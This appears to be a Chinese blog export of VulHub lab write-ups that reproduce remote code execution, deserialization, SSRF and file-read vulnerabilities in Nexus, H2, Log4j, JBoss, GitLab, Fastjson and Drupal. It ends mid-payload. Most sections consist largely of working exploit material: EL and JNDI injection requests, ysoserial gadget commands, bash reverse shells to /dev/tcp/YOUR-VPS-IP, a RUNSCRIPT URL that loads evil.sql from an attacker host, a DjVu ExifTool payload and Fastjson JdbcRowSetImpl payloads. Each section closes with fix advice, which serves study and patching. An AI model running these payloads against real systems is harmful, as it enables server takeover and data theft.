远程命令执行漏洞(CVE-2020-10204)漏洞描述其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,这个漏洞是CVE-2018-16621的绕过. 利用版本 Nexus Repository Manager 3 < 3.21.1 漏洞复现访问http://your-ip:8081即可看到Web页面. 该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码admin:admin登录后台 更新用户接口 123456789101112131415161718POST /service/extdirect HTTP/1.1Host: 192.168.64.144:8081Content-Length: 326X-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36NX-ANTI-CSRF-TOKEN: 0.6863105631716676Content-Type: application/jsonAccept: */*Origin: http://192.168.64.144:8081Referer: http://192.168.64.144:8081/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: NX-ANTI-CSRF-TOKEN=0.6863105631716676; NXSESSIONID=493a6756-cb2d-4e47-b17b-1c796e82f9c5Connection: close{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\\\B{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('curl http://1d88st.dnslog.cn')}"]}],"type":"rpc","tid":11} 创建角色接口 1234567891011121314151617POST /service/extdirect HTTP/1.1Host: 192.168.64.144:8081Content-Length: 297X-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36NX-ANTI-CSRF-TOKEN: 0.6863105631716676Content-Type: application/jsonAccept: */*Origin: http://192.168.64.144:8081Referer: http://192.168.64.144:8081/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: NX-ANTI-CSRF-TOKEN=0.6863105631716676; NXSESSIONID=493a6756-cb2d-4e47-b17b-1c796e82f9c5Connection: close{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"1111","name":"2222","description":"3333","privileges":["$\\\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('curl http://sq9fo0.dnslog.cn')}"],"roles":[]}],"type":"rpc","tid":89} 修复建议 官方已发布新版本修复了该漏洞,建议升级至最新版本","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-H2_DataBase漏洞复现","path":"/2023/04/06/30a0d618/","content":"总字符数: 4.28K 代码: 2.16K, 文本: 0.76K 预计阅读时间: 13 分钟 H2 Database Console 未授权访问漏洞概述H2 database是一款Java内存数据库,多用于单元测试.H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权(spring boot 配置中开启:) 12spring.h2.console.enabled=truespring.h2.console.settings.web-allow-others=true 利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令. 漏洞复现访问http://your-ip:8080/h2-console/即可查看到H2 database的管理页面. 目标环境是Java 8u252,版本较高,因为上下文是Tomcat环境,我们可以参考<Exploiting JNDI Injections in Java>,使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令. 123456789101112131415161718192021import java.rmi.registry.*;import com.sun.jndi.rmi.registry.*;import javax.naming.*;import org.apache.naming.ResourceRef; public class EvilRMIServerNew { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); }} 我们可以借助这个小工具JNDI简化我们的复现过程. 首先设置JNDI工具中执行的命令为curl http://g8479g.dnslog.cn: 然后启动JNDI-1.0-all.jar,在h2 console页面填入JNDI类名:javax.naming.InitialContext和URL地址:rmi://VPS-IP:23456/BypassByEL 修复建议 可以使用Nginx再代理一层,限制直接对/h2-console路径的访问 限制rmi等服务出网 升级到最新版 H2 Database RCE(CVE-2022-23221)漏洞描述 H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复.2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL执行任意代码 受影响的组件 文件名: WebServer.java文件路径: /h2database/h2/src/main/org/h2/server/web/WebServer.java受影响的功能: getConnection 环境搭建docker-compose.yml: 1234567version: '2'services: web: image: vulfocus/h2database_cve_2022_23221 ports: - "8082:8082" - "9082:9082" 漏洞复现 导航到控制台并尝试连接到内存中的H2使用以下JDBC URL创建不存在的数据库: 1jdbc:h2:mem:1337; 请注意,您会收到以下安全异常,阻止您. 从创建新的内存数据库开始: 1Database "mem:1337" not found, either pre-create it or allow remote database creation (not recommended in secure environments) [90149-206] 90149/90149 (帮助) 现在使用以下JDBC URL重试: 1jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\\ 请注意,您已经成功地创建了一个新的内存数据库 创建包含执行以下操作的触发器的SQL文件,Java/javascript/ruby代码,并将其托管在您的域中控制,Example evil.sql file: 123456789CREATE TABLE test ( id INT NOT NULL );CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '--javascriptvar fos = Java.type("java.io.FileOutputStream");var b = new fos ("/tmp/pwnedlolol");';INSERT INTO TEST VALUES (1); 使用以下JDBC URL执行托管在您的连接时的域:() 12jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPTFROM 'http://attacker/evil.sql';'\\ 修复建议目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://github.com/h2database/h2database/releases/tag/version-2.1.210https://github.com/h2database/h2database/releases/tag/version-2.1.210","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Log4j漏洞复现","path":"/2023/04/05/8b1917af/","content":"总字符数: 5.50K 代码: 1.19K, 文本: 1.66K 预计阅读时间: 12 分钟 Apache Log4j Server 反序列化命令执行(CVE-2017-5645)漏洞概述Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器.Apache Log4j 2.8.2之 前的2.x版本中存在安全漏洞.攻击者可利用该漏洞执行任意代码.利用版本: Log4j 2.x<=2.8.1 漏洞复现 需要下载nc并且配置环境变量 然后使用ysoserial生成payload,然后直接发送给your-ip:4712端口即可 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YOUR-BASE64-ENCODE}|{base64,-d}|{bash,-i}" | nc 192.168.2.187 4712 修复建议 使用Java 7+的用户应立即升级至2.8.2版本或者避免使用socket server的相关类,参考链接 ; 使用Java 6的用户应该避免使用TCP或者UDP 的socket server相关类,用户也可以手动添加2.8.2版本更新的相关代码来解决该漏洞; 目前官方发布了2.9最新版本 ,强烈建议更新到最新版本. Apache Log4j2 lookup JNDI 注入(CVE-2021-44228)漏洞概述利用版本: 2.0到2.14.1版本 漏洞复现 漏洞触发点:http://103.116.46.7:8983/solr/admin/cores?action= 漏洞探测:http://103.116.46.7:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.sxy8s9.dnslog.cn} 下载工具进行反弹shellwget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/log4j/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 运行java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YOUR-BASE64-ENCODE}|{base64,-d}|{bash,-i}" -A "YOUR-ATTACK-VPS-IP" 方式一:网址输入:http://103.116.46.7:8983/solr/admin/cores?action=${jndi:ldap://YOUR-ATTACK-VPS-IP:1389/Exploit} 方式二将上方抓包改为POST传参 结果 修复建议将 log4j-core 升级到 2.15.0 版本接入安全产品第一时间上WAF规则、RASP拦截等措施,给修复争取时间.但是也要注意一些静态规则上的绕过,log4j 支持的写法比较多,有非常多绕过姿势.比如: 1${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc} 删除漏洞类通过删除漏洞类进行修复的方案比较稳,也是官方推荐的一种修复方案.直接删除 log4j jar 包中存在漏洞的类: 1zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 这种修复比较方便快捷,一般业务代码也不会用到 jndi lookup 这个功能.不过可能会对基于版本号判定的安全数据采集造成一定困扰,无法准确统计漏洞的最新受影响情况.建议删除之后在 jar 包后面加上一定的标记,如: log4j-2.14.1.sec.jar另外,由于某些原因不想删除的话,可以自己代码替换原始的 JndiLookup 类,将它加到业务代码中.需要注意的是,必须保证它在 log4j 原类之前加载. 1234567package org.apache.logging.log4j.core.lookup;public class JndiLookup { public JndiLookup() { throw new NoClassDefFoundError("JNDI lookup is disabled"); }} 也可以做成依赖包,在 log4j-core 之前添加,可以实现同样的效果(注意不要引入不可信的第三方依赖,可能导致潜在安全风险,以下配置来源互联网,仅作为示例,请勿直接使用): 12345<dependency> <groupId>org.glavo</groupId> <artifactId>log4j-patch</artifactId> <version>1.0</version></dependency> 当然也可以通过RASP的方式干掉漏洞类,Github上有不少RASP的无损修复方案,比如: 通过配置禁用 log4j 的 lookup 功能禁用的方式就比较多了.然而下面2、3、4这几种方式对低于 2.10 版本的 log4j-core 都没有效果,而且环境变量和启动参数这种设置,在迁移或者变更的过程中丢失的可能性比较大.log4j 在 2.15.0 版本中默认就已经关闭了 lookup 功能.log4j2.component.properties、log4j2.xml 默认放在 ClassPath 路径下,如:源代码的资源目录或者可执行程序所在的当前目录. 设置日志输出 Pattern 格式对于 >=2.7 的版本,在 log4j 中对每一个日志输出格式进行修改.在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广.比如在 log4j2.xml 中配置: 1234567891011121314151617181920<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Console"/> </Root> </Loggers></Configuration>public class Test {public static void main(String[] args) {String t = "${jndi:ldap://xxx.com/xxx}";Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);logger.error(t);}} 设置JVM系统属性在 Java 应用启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者在业务代码中设置系统属性: 1234// 必须在 log4j 实例化之前设置该系统属性System.setProperty("log4j2.formatMsgNoLookups", "true");Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME); 修改配置文件在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true,配置文件放置于应用程序的 ClassPath 路径下. 设置进程环境变量在环境变量中增加:LOG4J_FORMAT_MSG_NO_LOOKUPS=true 注意!这些配置和属性,并不能在所有场景下生效,比如在 logstash 中就无法生效: Solutions and Mitigations: The widespread flag -Dlog4j2.formatMsgNoLookups=true does NOT mitigate the vulnerability in Logstash, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command: zip -q -d /logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476 升级JDK版本对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载.对于 RCE 来说,可以起到很直接的缓解作用,可以作为增强型的加固方案.在高版本JDK环境下,JNDI注入也还是存在一定RCE风险,可以参考这篇文章:另外 log4j 漏洞本身除了 RCE,还存在着巨大的攻击面,比如 SSRF、敏感信息泄露等等,威胁非常大,不要企图仅仅通过升级JDK版本来修复漏洞,建议还是老老实实升级.","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Jboss漏洞复现","path":"/2023/04/03/30a0d618/","content":"总字符数: 6.20K 代码: 0.82K, 文本: 1.40K 预计阅读时间: 10 分钟 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)漏洞概述该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中.该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞.利用版本: JBoss AS 5.x JBoss AS 6.x 漏洞复现该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞.直接使用bash来反弹shell(bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1),但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码工具: https://ares-x.com/tools/runtime-exec/https://ares-x.com/tools/runtime-exec/ 服务器监听nc -lvvp 6666 序列化数据生成使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5 1java -jar D:\\LearningWorld\\PersonalProject\\PersonalProject\\Security\\Java\\ysoserial\\target\\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "YOUR-BASH-BASE64ENCODE" > poc.ser 可使用xxd来查看序列化后的数据 发送POC生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可curl http://192.168.2.187:8080/invoker/readonly --data-binary @poc.ser 修复建议首先进入/jboss/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml 目录 1234# 进入容器docker exec -it 容器ID /bin/bash#修改文件 vim /jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml 123456789# 因为P牛靶场的docker里没有vim/vi,因此这里将他下载下来,修改完后再传上去# 在本机docker cp 容器ID:/jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml ./vim web.xml将<security-constraint>标签中的<url-pattern>/restricted/*</url-pattern>修改为<url-pattern>/*</url-pattern># 上传到容器docker cp ./web.xml 容器ID:/jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml# 重新查看文件,发现已经变了cat /jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml 最后重启一下jboss服务/或者容器 漏洞不再可以访问,可以看到下图已经无法反弹shell了 JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)漏洞概述Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器.JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码.HTTPServerILServlet.java在JMS上JbossMQ实现的HTTP调用层(默认情况下在Red Hat Jboss应用服务器<=Jboss 4.X中启用)不限制执行反序列化的类,允许远程攻击者通过精心设计的序列化数据执行任意代码.利用版本: <=Jboss 4.X 漏洞复现该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial的eCommonsCollections5利用链来复现.Payload用CVE-2017-12149的就可以直接打:curl http://192.168.2.187:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser 修复建议 删除commons-collections-*.jar中的三个文件\\org\\apache\\commons\\collections\\functors\\InvokerTransformer.class\\org\\apache\\commons\\collections\\functors\\InstantiateFactory.class\\org\\apache\\commons\\collections\\functors\\InstantiateTransfromer.class 删除$JBOSS_HOME/[server]/all/deploy 和 $JBOSS_HOME/[server]/default/deploy下的Jmx-console.war、Web-console.war两个文件夹 升级版本 JBoss JMXInvokerServlet 反序列化漏洞漏洞概述这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码.利用版本: JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10 JBoss AS (Wildly) 6 and earlier JBoss A-MQ 6.2.0 JBoss Fuse 6.2.0 JBoss SOA Platform (SOA-P) 5.3.1 JBoss Data Grid (JDG) 6.5.0 JBoss BRMS (BRMS) 6.1.0 JBoss BPMS (BPMS) 6.1.0 JBoss Data Virtualization (JDV) 6.1.0 JBoss Fuse Service Works (FSW) 6.0.0 JBoss Enterprise Web Server (EWS) 2.1,3.0 漏洞复现JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可.整个过程可参考jboss/CVE-2017-12149直接打:curl http://103.116.46.7:8080/invoker/JMXInvokerServlet --data-binary @poc.ser 修复建议找到 \\jboss\\server\\default\\deploy\\http-invoker.sar\\invoker.war\\WEB-INF\\web.xml将 EJBInvokerServlet 、JMXInvokerServlet servlet的相关配置注释掉,重启后这两个地址就无法访问了,漏洞也就修复了.","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Gitlab漏洞复现","path":"/2023/04/01/6eb0a2c0/","content":"总字符数: 4.25K 代码: 1.03K, 文本: 1.21K 预计阅读时间: 10 分钟 Gitlab 任意文件读取漏洞(CVE-2016-9086)漏洞概述GitLab 是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的 Git 项目仓库,可通过 Web 界面进行访问公开的或者私人项目.近日研究者发现在其多个版本中存在文件读取漏洞 (CVE-2016-9086) 和 任意用户 authentication_token 泄漏漏洞,攻击者可以通过这两个漏洞来获取管理员的权限,进而控制所有 gitlab 项目. 影响版本: 任意文件读取漏洞 (CVE-2016-9086): GitLab CE/EE versions 8.9, 8.10, 8.11, 8.12 GitLav CE/EE version 8.13 任意用户 authentication_token 泄露漏洞: Gitlab CE/EE versions 8.10.3-8.10.5 漏洞复现环境运行后,访问http://your-ip:8080即可查看GitLab主页,其ssh端口为10022,默认管理员账号、密码是root、vulhub123456. 注意,请使用2G及以上内存的VPS或虚拟机运行该环境,实测1G内存的机器无法正常运行GitLab(运行后502错误) 登录用户,新建一个项目,点击GitLab export: 在导入页面,将test.tar.gz上传,将会读取到/etc/passwd文件内容: 修复建议官方先移除了导入包里的软连接,其次,读取 VERSION 的内容和 project.json 的内容出错后将内容输出到日志里而非返回到前端. 建议升级到最新版 GitLab 远程命令执行漏洞(CVE-2021-22205)漏洞概述在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令. 利用版本 11.9 <= GitLab(CE/EE)< 13.8.8 13.9 <= GitLab(CE/EE)< 13.9.6 13.10 <= GitLab(CE/EE)< 13.10.3 漏洞复现环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面. GitLab的/uploads/user接口可以上传图片且无需认证,利用poc.py脚本来测试这个漏洞: 1python poc.py http://your-ip:8080 "curl http://k58p7p.dnslog.cn" 手工复现-有授权上传点账号密码:root/vulhub123456.登录后到个人主页,找到Snippets,新建http://192.168.64.144:8080/-/snippets/new 此处需要上传DjVu格式图片(即Exp) 下载安装DjVuLibre地址 1apt-get install djvumake -y 准备好将要压缩图片的文本 1234(metadata\t(Copyright "\\" . qx{curl http://3436hm.dnslog.cn} . \\" b ") ) 生成Exp 1djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg 上传Exp虽然会上传失败,但是命令是正常执行的 漏洞修复升级到最新版本 Gitlab API未授权SSRF复现(CVE-2021-22214)漏洞描述编号:CVE-2021-22214 Gitlab的CI lint API用于验证提供给gitlab ci的配置文件是否是yaml格式.而根据其说明文档文档,其include 操作支持remote选项,用于获取远端的yaml.因此在此处将remote参数设置为本地回环地址,同时由于后端会检查最后扩展名,加上?test.yaml 即可绕过. 远程攻击者可通过发送特殊构造的HTTP请求,欺骗应用程序向任意系统发起请求.攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求. 利用版本 13.10.5 > GitLab >= 10.5 13.11.5 > GitLab >= 13.11 13.12.2 > GitLab >= 13.12 环境搭建以阿里云centos7.3为例 首先先添加yum源,选择gitlab-ce社区版 1curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash 接着更新下yum缓存 1yum makecache 此时选择存在漏洞的版本安装即可 1yum install gitlab-ce-13.12.1-ce.0.el7 -y 下载完成后使用命令gitlab-ctl reconfigure即可默认配置安装gitlab 漏洞复现poc如下 12345678910111213POST /api/v4/ci/lint HTTP/1.1Host: 192.168.64.144Cache-Control: max-age=0DNT: 1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 111{"include_merged_yaml": true, "content": "include: remote: http://6i7mzn.dnslog.cn/api/v1/targets?test.yml"} 修复建议当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本. https://about.gitlab.com/releases/2021/06/01/security-release-gitlab-13-12-2-released/https://about.gitlab.com/releases/2021/06/01/security-release-gitlab-13-12-2-released/","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Fastjson漏洞复现","path":"/2023/03/11/247b757/","content":"总字符数: 8.01K 代码: 2.73K, 文本: 1.36K 预计阅读时间: 18 分钟 fastjson < 1.2.47才有漏洞如何判断是否有fastjson: {}不闭合有报错 < 1.2.6 使用dos方式看响应时间{"a"="\\x dnslog,容易被waf拦截 漏洞概述fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性.通过查找代码中相关的方法,即可构造出一些恶意利用链. 根据官方给出的补丁文件,主要的更新在这个 checkAutoType 函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中. 1.2.24-rce漏洞复现 首先将exp进行编译(javac TouchFile.java),将以下内容保存为TouchFile.java 12345678910111213import java.lang.Runtime;import java.lang.Process;public class TouchFile { static { try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1"}); p.waitFor(); } catch (Exception e) { } }} 将TouchFile.Class和marshalsec-0.0.3-SNAPSHOT-all.jar放在同一目录下 启动一个RMI服务,加载远程类TouchFile.classjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://YOUR-VPS-IP:8080/#TouchFile" 8899 nc监听nc -lvvp 6666 修改下方Payload 12345678910111213141516POST / HTTP/1.1Host: 43.143.129.10:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Language: en-US,en;q=0.5Connection: closeContent-Type: application/jsonContent-Length: 35{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.2.187:9999/TouchFile", "autoCommit":true }} 结果 反弹 1.2.47-rce漏洞复现 首先将exp进行编译(javac TouchFile.java),将以下内容保存为TouchFile.java 12345678910111213import java.lang.Runtime;import java.lang.Process;public class TouchFile { static { try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1"}); p.waitFor(); } catch (Exception e) { } }} 修改下方Payload 12345678910POST / HTTP/1.1Host: YOUR-IP:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Language: en-US,en;q=0.5Connection: closeContent-Type: application/jsonContent-Length: 35{@type":"java.lang.AutoCloseable" 将TouchFile.Class和marshalsec-0.0.3-SNAPSHOT-all.jar放在同一目录下 12# 使用python 启动服务python3 -m http.server 8080 启动一个RMI服务,加载远程类TouchFile.classjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://YOUR-VPS-IP:8080/#TouchFile" 8899 nc监听nc -lvvp 6666 修改下方Payload 12345678910111213141516171819POST / HTTP/1.1Host: 43.143.129.10:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Language: en-US,en;q=0.5Connection: closeContent-Type: application/jsonContent-Length: 35{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://YOUR-VPS-IP:8899/TouchFile", "autoCommit":true } 结果 反弹 修复建议升级JDK 6u211 / 7u201 / 8u191 /11.0.1 升级Fastjson到最新版 fastjson.parser.safeMode=true 使用安全产品过滤非法内容更换其它序列化工具 Jackson/Gson 代码审计某仿天猫项目来进行测试:本地开启mysql服务,添加tmalldemodb数据库,运行/sqls\\文件夹中的tmalldemodb.sql文件使用IDEA打开项目,在resource/application.properties文件配置数据库,启动服务即可 1234前台页面:http://localhost:8088/tmall后台页面:http://localhost:8088/tmall/admin前台测试用户:a120 123456后台管理员:admin 123456 这里为了更好复现漏洞,将pom.xml文件中的fastjson版本换为1.2.47 搜索项目中fastjson反序列化的点(即JSON.parseObject方法): 可以看到,这里对propertyJson进行了反序列化处理: 对propertyJson进行追踪,看到是后台添加商品信息输入了该字段: 访问添加商品的页面,随便添加一个商品,并使用burp监听数据包: 可以看到这里向propertyJson传入了空的json值,我们可以发送到repeater中判断这个点是否正确.使用dnslog来探测fastjson: 12{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"} 尝试对我们的dnslog进行访问: 可以看到成功收到请求: 说明确实这里存在fastjson反序列化的点 尝试对该点进行利用首先编译命令执行的java代码: 123456789101112131415import java.lang.Runtime;import java.lang.Process;public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc.exe"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }} 在本地或vps开启一个web服务,使恶意class文件能够被访问借助marshalsec项目,启动一个RMI服务器,监听9999端口,并指定加载远程类calc.class: 1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:7777/#Calc" 9999 使用burp发送payload,成功弹出计算器: 1{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Calc","autoCommit":true}}","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Drupal漏洞复现","path":"/2023/03/10/73f4594f/","content":"总字符数: 6.19K 代码: 1.81K, 文本: 1.69K 预计阅读时间: 15 分钟 Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)环境启动后,访问http://103.116.46.7:8080/install.php即可看到Drupal的安装页面,使用默认配置安装即可. 其中,Mysql数据库名填写drupal,数据库用户名、密码为root,地址为mysql: 安装完成后,访问首页: 该漏洞无需认证,发送如下数据包即可执行恶意SQL语句 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)环境启动后,访问 http://103.116.46.7:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库 先安装 yaml 扩展 1234567891011121314151617181920212223242526# 进入容器 CONTAINER换成自己的容器IDdocker exec -it CONTAINER /bin/bash# 换镜像源,默认不带vim编辑器,所以用cat换源,可以换成自己喜欢的源cat > sources.list << EOFdeb http://mirrors.163.com/debian/ jessie main non-free contribdeb http://mirrors.163.com/debian/ jessie-updates main non-free contribdeb http://mirrors.163.com/debian/ jessie-backports main non-free contribdeb-src http://mirrors.163.com/debian/ jessie main non-free contribdeb-src http://mirrors.163.com/debian/ jessie-updates main non-free contribdeb-src http://mirrors.163.com/debian/ jessie-backports main non-free contribdeb http://mirrors.163.com/debian-security/ jessie/updates main non-free contribdeb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contribEOF# 安装依赖apt updateapt-get -y install gcc make autoconf libc-dev pkg-configapt-get -y install libyaml-dev# 安装yaml扩展pecl install yamldocker-php-ext-enable yaml.so# 启用 yaml.decode_php 否则无法复现成功echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini# 退出容器exit# 重启容器,CONTAINER换成自己的容器IDdocker restart CONTAINER 进入安装页面,安装drupal 登录一个管理员账号,访问http://103.116.46.7:8080/admin/config/development/configuration/single/import 如下图所示,Configuration type 选择 Simple configuration,Configuration name 任意填写,Paste your configuration here 中填写PoC如下 !php/object 